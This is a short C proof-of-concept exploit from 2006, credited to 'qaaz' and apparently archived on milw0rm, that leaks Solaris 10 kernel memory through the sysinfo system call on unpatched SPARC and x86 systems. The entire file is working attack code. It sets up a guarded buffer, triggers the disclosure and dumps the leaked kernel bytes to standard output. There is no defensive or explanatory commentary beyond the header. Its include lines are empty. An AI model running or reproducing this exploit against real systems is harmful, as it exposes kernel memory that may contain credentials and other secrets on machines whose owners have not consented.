/* 07/2006: public release * SPARC Solaris 10 without 118833-09 * x86 Solaris 10 without 118855-06 * * Solaris sysinfo Kernel Memory Disclosure * By qaaz */ #include #include #include #include #include #include #define PAGE_COUNT 1000 int main(int argc, char *argv[]) { char *buf, *end; int pg = PAGE_COUNT, pagesz, bufsz; fprintf(stderr, "---------------------------------\n" " Solaris sysinfo Kmem Disclosure\n" " By qaaz\n" "---------------------------------\n"); if (argc > 1) pg = atoi(argv[1]); pagesz = getpagesize(); bufsz = (pg + 1) * pagesz; if (!(buf = memalign(pagesz, bufsz))) { perror("malloc"); return -1; } memset(buf, 0, bufsz); end = buf + (pg * pagesz); fprintf(stderr, "-> [ %p .. %p ]\n", buf, end); fflush(stderr); if (mprotect(end, pagesz, PROT_NONE)) { perror("mprotect"); return -1; } sysinfo(SI_SYSNAME, buf, 0); while (end > buf && end[-1] == 0) end--; fprintf(stderr, "== %d\n", (int) (end - buf)); fflush(stderr); if (!isatty(1)) write(1, buf, (size_t) (end - buf)); return 0; } // milw0rm.com [2007-09-01]